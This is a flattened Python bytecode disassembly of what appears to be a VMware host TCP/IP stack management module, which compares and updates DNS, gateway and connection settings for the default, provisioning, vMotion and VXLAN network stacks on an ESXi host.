LOAD_NAME PyVmomi CALL_FUNCTION STORE_NAME VmwareHostTcpipStack LOAD_CONST <code object main at 0x7faa7c2776f0, file "f.py", line 801> LOAD_CONST 'main' MAKE_FUNCTION STORE_NAME main LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_NAME main CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'VmwareHostTcpipStack' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7faa7c277780, file "f.py", line 296> LOAD_CONST 'VmwareHostTcpipStack.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object check_enabled_net_stack_instance at 0x7faa7c277030, file "f.py", line 311> LOAD_CONST 'VmwareHostTcpipStack.check_enabled_net_stack_instance' MAKE_FUNCTION STORE_NAME check_enabled_net_stack_instance LOAD_CONST <code object get_net_stack_instance_config at 0x7faa7c277270, file "f.py", line 348> LOAD_CONST 'VmwareHostTcpipStack.get_net_stack_instance_config' MAKE_FUNCTION STORE_NAME get_net_stack_instance_config LOAD_CONST <code object diff_net_stack_instance_config at 0x7faa7c277a50, file "f.py", line 359> LOAD_CONST 'VmwareHostTcpipStack.diff_net_stack_instance_config' MAKE_FUNCTION STORE_NAME diff_net_stack_instance_config LOAD_CONST <code object generate_net_stack_instance_config at 0x7faa7c277d20, file "f.py", line 641> LOAD_CONST 'VmwareHostTcpipStack.generate_net_stack_instance_config' MAKE_FUNCTION STORE_NAME generate_net_stack_instance_config LOAD_CONST <code object execute at 0x7faa7c2775d0, file "f.py", line 752> LOAD_CONST 'VmwareHostTcpipStack.execute' MAKE_FUNCTION STORE_NAME execute LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL VmwareHostTcpipStack LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST module CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR params LOAD_CONST 'esxi_hostname' BINARY_SUBSCR LOAD_FAST self STORE_ATTR esxi_hostname LOAD_FAST self LOAD_ATTR params LOAD_CONST 'default' BINARY_SUBSCR LOAD_FAST self STORE_ATTR default LOAD_FAST self LOAD_ATTR params LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_FAST self STORE_ATTR provisioning LOAD_FAST self LOAD_ATTR params LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_FAST self STORE_ATTR vmotion LOAD_FAST self LOAD_ATTR params LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_FAST self STORE_ATTR vxlan LOAD_CONST 'defaultTcpipStack' LOAD_CONST 'vmotion' LOAD_CONST 'vSphereProvisioning' LOAD_CONST 'vxlan' LOAD_CONST ('default', 'vmotion', 'provisioning', 'vxlan') BUILD_CONST_KEY_MAP LOAD_FAST self STORE_ATTR net_stack_instance_keys LOAD_CONST None RETURN_VALUE LOAD_CONST False LOAD_CONST False LOAD_CONST False LOAD_CONST False LOAD_CONST ('default', 'vmotion', 'provisioning', 'vxlan') BUILD_CONST_KEY_MAP LOAD_FAST self STORE_ATTR enabled_net_stack_instance SETUP_LOOP to 142 LOAD_FAST self LOAD_ATTR host_obj LOAD_ATTR runtime LOAD_ATTR networkRuntimeInfo LOAD_ATTR netStackInstanceRuntimeInfo GET_ITER FOR_ITER to 140 STORE_FAST net_stack_instance LOAD_FAST net_stack_instance LOAD_ATTR netStackInstanceKey LOAD_FAST self LOAD_ATTR net_stack_instance_keys LOAD_CONST 'default' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'default' STORE_SUBSCR LOAD_FAST net_stack_instance LOAD_ATTR netStackInstanceKey LOAD_FAST self LOAD_ATTR net_stack_instance_keys LOAD_CONST 'provisioning' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'provisioning' STORE_SUBSCR LOAD_FAST net_stack_instance LOAD_ATTR netStackInstanceKey LOAD_FAST self LOAD_ATTR net_stack_instance_keys LOAD_CONST 'vmotion' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'vmotion' STORE_SUBSCR LOAD_FAST net_stack_instance LOAD_ATTR netStackInstanceKey LOAD_FAST self LOAD_ATTR net_stack_instance_keys LOAD_CONST 'vxlan' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'vxlan' STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST self STORE_ATTR exist_net_stack_instance_config SETUP_LOOP to 86 LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 84 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_FAST value LOAD_CONST True COMPARE_OP is POP_JUMP_IF_FALSE SETUP_LOOP to 82 LOAD_FAST self LOAD_ATTR host_obj LOAD_ATTR config LOAD_ATTR network LOAD_ATTR netStackInstance GET_ITER FOR_ITER to 80 STORE_FAST net_stack_instance LOAD_FAST net_stack_instance LOAD_ATTR key LOAD_FAST self LOAD_ATTR net_stack_instance_keys LOAD_FAST key BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST net_stack_instance LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_FAST key STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_CONST False LOAD_FAST self STORE_ATTR change_flag LOAD_GLOBAL dict BUILD_MAP BUILD_MAP LOAD_CONST ('before', 'after') CALL_FUNCTION LOAD_FAST self STORE_ATTR diff_config SETUP_LOOP to 80 LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 78 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_FAST value LOAD_CONST True COMPARE_OP is POP_JUMP_IF_FALSE BUILD_MAP LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_FAST key STORE_SUBSCR BUILD_MAP LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_FAST key STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'default' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'default' BINARY_SUBSCR LOAD_ATTR dnsConfig LOAD_ATTR address STORE_DEREF exist_dns_servers EXTENDED_ARG SETUP_LOOP to 822 LOAD_CONST ('before', 'after') GET_ITER EXTENDED_ARG FOR_ITER to 820 STORE_FAST key LOAD_GLOBAL dict LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'default' BINARY_SUBSCR LOAD_ATTR dnsConfig LOAD_ATTR hostName LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'default' BINARY_SUBSCR LOAD_ATTR dnsConfig LOAD_ATTR domainName LOAD_CLOSURE exist_dns_servers BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa7c2778a0, file "f.py", line 386> LOAD_CONST 'VmwareHostTcpipStack.diff_net_stack_instance_config.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF exist_dns_servers GET_ITER CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_DEREF exist_dns_servers LOAD_CONST 0 BINARY_SUBSCR JUMP_FORWARD to 174 LOAD_CONST None LOAD_CLOSURE exist_dns_servers BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa7c2771e0, file "f.py", line 395> LOAD_CONST 'VmwareHostTcpipStack.diff_net_stack_instance_config.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF exist_dns_servers GET_ITER CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_DEREF exist_dns_servers LOAD_CONST 1 BINARY_SUBSCR JUMP_FORWARD to 202 LOAD_CONST None LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'default' BINARY_SUBSCR LOAD_ATTR dnsConfig LOAD_ATTR searchDomain LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'default' BINARY_SUBSCR LOAD_ATTR ipRouteConfig LOAD_ATTR defaultGateway LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'default' BINARY_SUBSCR LOAD_ATTR ipRouteConfig LOAD_ATTR ipV6DefaultGateway LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'default' BINARY_SUBSCR LOAD_ATTR congestionControlAlgorithm LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'default' BINARY_SUBSCR LOAD_ATTR requestedMaxNumberOfConnections LOAD_CONST ('hostname', 'domain', 'preferred_dns', 'alternate_dns', 'search_domains', 'gateway', 'ipv6_gateway', 'congestion_algorithm', 'max_num_connections') CALL_FUNCTION LOAD_FAST self LOAD_ATTR diff_config LOAD_FAST key BINARY_SUBSCR LOAD_CONST 'default' STORE_SUBSCR LOAD_FAST self LOAD_ATTR default POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'hostname' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default LOAD_CONST 'hostname' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR default LOAD_CONST 'hostname' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'hostname' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'domain' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default LOAD_CONST 'domain' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR default LOAD_CONST 'domain' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'domain' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'preferred_dns' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default LOAD_CONST 'preferred_dns' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR default LOAD_CONST 'preferred_dns' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'preferred_dns' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'alternate_dns' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default LOAD_CONST 'alternate_dns' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR default LOAD_CONST 'alternate_dns' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'alternate_dns' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'search_domains' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default LOAD_CONST 'search_domains' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR default LOAD_CONST 'search_domains' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'search_domains' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default LOAD_CONST 'gateway' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR default LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'gateway' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR default LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'ipv6_gateway' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR default LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'congestion_algorithm' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default LOAD_CONST 'max_num_connections' BINARY_SUBSCR COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR default LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'default' BINARY_SUBSCR LOAD_CONST 'max_num_connections' STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'provisioning' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 912 LOAD_CONST ('before', 'after') GET_ITER FOR_ITER to 910 STORE_FAST key LOAD_GLOBAL dict LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_ATTR ipRouteConfig LOAD_ATTR defaultGateway LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_ATTR ipRouteConfig LOAD_ATTR ipV6DefaultGateway LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_ATTR congestionControlAlgorithm LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_ATTR requestedMaxNumberOfConnections LOAD_CONST ('gateway', 'ipv6_gateway', 'congestion_algorithm', 'max_num_connections') CALL_FUNCTION LOAD_FAST self LOAD_ATTR diff_config LOAD_FAST key BINARY_SUBSCR LOAD_CONST 'provisioning' STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR provisioning EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'gateway' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_CONST 'gateway' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_CONST 'ipv6_gateway' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'max_num_connections' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_CONST 'max_num_connections' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_CONST 'congestion_algorithm' STORE_SUBSCR LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'vmotion' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 1250 LOAD_CONST ('before', 'after') GET_ITER FOR_ITER to 1248 STORE_FAST key LOAD_GLOBAL dict LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_ATTR ipRouteConfig LOAD_ATTR defaultGateway LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_ATTR ipRouteConfig LOAD_ATTR ipV6DefaultGateway LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_ATTR congestionControlAlgorithm LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_ATTR requestedMaxNumberOfConnections LOAD_CONST ('gateway', 'ipv6_gateway', 'congestion_algorithm', 'max_num_connections') CALL_FUNCTION LOAD_FAST self LOAD_ATTR diff_config LOAD_FAST key BINARY_SUBSCR LOAD_CONST 'vmotion' STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR vmotion EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'gateway' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_CONST 'gateway' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_CONST 'ipv6_gateway' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'max_num_connections' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_CONST 'max_num_connections' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_CONST 'congestion_algorithm' STORE_SUBSCR LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'vxlan' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 1588 LOAD_CONST ('before', 'after') GET_ITER FOR_ITER to 1586 STORE_FAST key LOAD_GLOBAL dict LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_ATTR ipRouteConfig LOAD_ATTR defaultGateway LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_ATTR ipRouteConfig LOAD_ATTR ipV6DefaultGateway LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_ATTR congestionControlAlgorithm LOAD_FAST self LOAD_ATTR exist_net_stack_instance_config LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_ATTR requestedMaxNumberOfConnections LOAD_CONST ('gateway', 'ipv6_gateway', 'congestion_algorithm', 'max_num_connections') CALL_FUNCTION LOAD_FAST self LOAD_ATTR diff_config LOAD_FAST key BINARY_SUBSCR LOAD_CONST 'vxlan' STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR vxlan EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'gateway' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_CONST 'gateway' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_CONST 'ipv6_gateway' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'max_num_connections' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_CONST 'max_num_connections' STORE_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR change_flag LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_CONST 'congestion_algorithm' STORE_SUBSCR LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 28 STORE_FAST dns LOAD_DEREF exist_dns_servers LOAD_METHOD index LOAD_FAST dns CALL_METHOD LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST dns LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 28 STORE_FAST dns LOAD_DEREF exist_dns_servers LOAD_METHOD index LOAD_FAST dns CALL_METHOD LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST dns LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD NetworkConfig CALL_METHOD LOAD_FAST self STORE_ATTR new_net_stack_instance_configs BUILD_LIST LOAD_FAST self LOAD_ATTR new_net_stack_instance_configs STORE_ATTR netStackSpec LOAD_FAST self LOAD_ATTR default EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'default' BINARY_SUBSCR EXTENDED_ARG 